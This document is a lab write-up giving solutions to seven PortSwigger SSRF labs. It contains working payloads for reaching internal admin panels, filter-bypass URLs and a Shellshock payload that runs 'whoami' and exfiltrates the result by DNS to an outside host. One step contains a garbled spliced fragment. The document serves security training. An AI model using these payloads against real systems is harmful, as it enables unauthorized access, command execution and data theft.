Lab Writeups

Server-Side Request Forgery (SSRF)

PortSwigger Web Security Academy — Lab Solutions

Prepared by
Youssef Reda

Contents

Lab: Basic SSRF Against the Local Server **1**
Solution Steps . . . 1
Why It Works . . . 1

Lab: Basic SSRF Against Another Back-End System **2**
Solution Steps . . . 2
Why It Works . . . 2

Lab: Blind SSRF with Out-of-Band Detection **3**
Solution Steps . . . 3
Why It Works . . . 3

Lab: SSRF with Blacklist-Based Input Filter **4**
Solution Steps . . . 4
Why It Works . . . 4

Lab: SSRF with Filter Bypass via Open Redirection Vulnerability **5**
Solution Steps . . . 5
Why It Works . . . 5

Lab: Blind SSRF with Shellshock Exploitation **6**
Solution Steps . . . 6
Why It Works . . . 6

Lab: SSRF with Whitelist-Based Input Filter **7**
Solution Steps . . . 7
Why It Works . . . 7

Lab: Basic SSRF Against the Local Server

Solution Steps

1. Attempt to access `/admin` directly and observe that access is denied.
2. Intercept the stock-check request using Burp Suite and send it to Repeater.
3. Replace the `stockApi` value with:

```
http://localhost/admin
```

4. Inspect the returned HTML and identify the user-deletion endpoint.
5. Replace the `stockApi` value with:

```
http://localhost/admin/delete?username=carlos
```

6. Send the request and verify that the lab is solved.

Why It Works

The application allows the `stockApi` parameter to control a server-side request. Using `localhost` allows the request to reach the application's local administrative interface, which is not directly accessible to the attacker. The admin interface exposes a user-deletion endpoint that can be invoked through the same SSRF vulnerability.

Lab: Basic SSRF Against Another Back-End System

Solution Steps

1. Intercept the stock-check request using Burp Suite and send it to Intruder.
2. Set the `stockApi` parameter to:

   ```
   http://192.168.0.1:8080/admin
   ```

3. Mark the final IP octet (`1`) as the payload position.
4. Configure the payload type as **Numbers**:
   - From: `1`
   - To: `255`
   - Step: `1`
5. Start the attack and sort the results by HTTP status code. Identify the IP address returning `200 OK`, which exposes the admin interface.
6. Send the successful request to Repeater and change the path to:

   ```
   /admin/delete?username=carlos
   ```

   Keep the discovered IP address and port, then send the request.

Why It Works

The application can send requests to internal back-end systems that are not directly accessible to the attacker. Burp Intruder automates requests across the `192.168.0.1-255` range to identify the host exposing the admin interface on port `8080`.

Lab: Blind SSRF with Out-of-Band Detection

Solution Steps

1. Visit a product page, intercept the request using Burp Suite, and send it to Repeater.
2. In Repeater, locate the `Referer` header and use **Insert Collaborator Payload** to replace the original domain with a generated Burp Collaborator domain.
3. Send the request to trigger the application's analytics functionality.
4. Open the Collaborator tab and click **Poll now** to check for interactions. If none appear, wait a few seconds and poll again because the analytics process may execute asynchronously.
5. CoubsectionSolution Stepsnfirm that DNS and HTTP interactions were received from the application.

Why It Works

The application's analytics software fetches the URL specified in the `Referer` header when a product page is loaded. By replacing the header's domain with a Burp Collaborator payload, the request causes the server-side analytics component to contact the Collaborator server. The target response is not returned through the application's normal response, so the interaction is detected out of band.

Lab: SSRF with Blacklist-Based Input Filter

Solution Steps

1. Intercept the stock-check request using Burp Suite and send it to Repeater.
2. Change the `stockApi` value to:

   ```
   http://127.0.0.1/
   ```

   Observe that the request is blocked by the input filter.
3. Bypass the IP address filter using an alternative loopback representation:

   ```
   http://127.1/
   ```

4. Append `/admin` to access the administrative interface:

   ```
   http://127.1/admin
   ```

   Observe that the request is blocked again.
5. Double-URL-encode the letter `a` in `admin` as `%2561`:

   ```
   http://127.1/%2561dmin
   ```

6. Send the request and inspect the response to confirm access to the admin interface. Identify the deletion endpoint and use it to delete the user `carlos`.

Why It Works

The filter blocks specific representations of the loopback address and the `/admin` path. The alternative IP representation `127.1` bypasses the first restriction, while double URL encoding may bypass the path filter when validation and URL decoding are handled inconsistently.

Lab: SSRF with Filter Bypass via Open Redirection Vulnerability

Solution Steps

1. Intercept the stock-check request using Burp Suite and send it to Repeater. Test the `stockApi` parameter and confirm that direct requests to external hosts are blocked.
2. Click **Next product** and inspect the request. Identify the open redirect caused by the `path` parameter in the redirection response's `Location` header.
3. Set the `stockApi` parameter to the following URL:

```
/product/nextProduct?path=http://192.168.0.12:8080/admin
```

4. Send the request and verify that the stock checker follows the redirect and returns the internal admin interface.
5. Change the redirect destination to the user-deletion endpoint:

```
/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
```

6. Send the request and verify that the lab is solved.

Why It Works

The stock checker restricts direct requests to the local application. However, the `path` parameter in the `/product/nextProduct` endpoint introduces an open redirect, allowing the server to return a redirect to an attacker-controlled destination. When the stock checker follows this redirect, it makes a request to the internal admin interface at `192.168.0.12:8080`, bypassing the restriction on direct requests.

Lab: Blind SSRF with Shellshock Exploitation

Solution Steps

1. Install the *Collaborator Everywhere* extension in Burp Suite Professional and add the lab domain to the target scope.
2. Browse a product page and observe the HTTP interaction with Burp Collaborator. Confirm that the analytics software fetches the URL specified in the `Referer` header and that the request contains the supplied `User-Agent`.
3. Send the product page request to Burp Intruder and generate a unique Burp Collaborator payload.
4. Replace the `User-Agent` header with the following Shellshock payload, substituting the placeholder with the generated Collaborator domain:

```
() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
```

5. Change the `Referer` header to the internal server URL:

```
http://192.168.0.1:8080
```

6. Mark the final IP octet as the Intruder payload position. Configure the payload type as `Numbers` with:
   - From: `1`
   - To: `255`
   - Step: `1`
7. Start the Intruder attack to probe the internal IP range on port `8080`, sending the Shellshock payload with each request.
8. After the attack, open the Collaborator tab and click **Poll now**. If no interaction appears, wait a few seconds and poll again.
9. Inspect the DNS interaction. The queried subdomain should contain the OS username returned by `whoami`. Submit that username to solve the lab.

Why It Works

The application's analytics software fetches the URL specified in the `Referer` header, creating a blind SSRF vulnerability that can reach internal servers. The internal server processes the attacker-controlled `User-Agent`. If it is vulnerable to Shellshock and passes this value to a vulnerable Bash environment, the payload executes `whoami` and uses `nslookup` to send the result through a DNS query to Burp Collaborator. This technique combines internal IP scanning, Shellshock command execution, and out-of-band data exfiltration to retrieve the OS username without observing the internal HTTP response.

Lab: SSRF with Whitelist-Based Input Filter

Solution Steps

1. Intercept the stock-check request using Burp Suite and send it to Repeater.
2. Set the `stockApi` parameter to:

   ```
   http://127.0.0.1/
   ```

   Observe that the application rejects the URL because its hostname does not match the whitelist.
3. Test how the URL parser handles embedded credentials:

   ```
   http://username@stock.weliketoshop.net/
   ```

   Observe that the URL is accepted.
4. Append a `#` to the username and observe that the request is rejected.
5. Double-URL-encode the `#` character as `%2523` to test for inconsistent URL parsing:

   ```
   http://username%2523@stock.weliketoshop.net/
   ```

   Observe the unusual server error, suggesting that the application may be attempting to connect to an unintended hostname.
6. Use the following payload to access the admin interface and delete `carlos`:

   ```
   http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
   ```

Why It Works

The application validates the hostname extracted by its URL parser against a whitelist. The payload exploits inconsistent handling of URL credentials, the `@` delimiter, and double-encoded `#` characters. Different parsing or decoding stages can interpret the same URL differently, allowing the validation step and the component making the request to disagree about the destination. In the final payload, the intended destination is `localhost:80`, while the whitelisted hostname is placed after the `@` delimiter.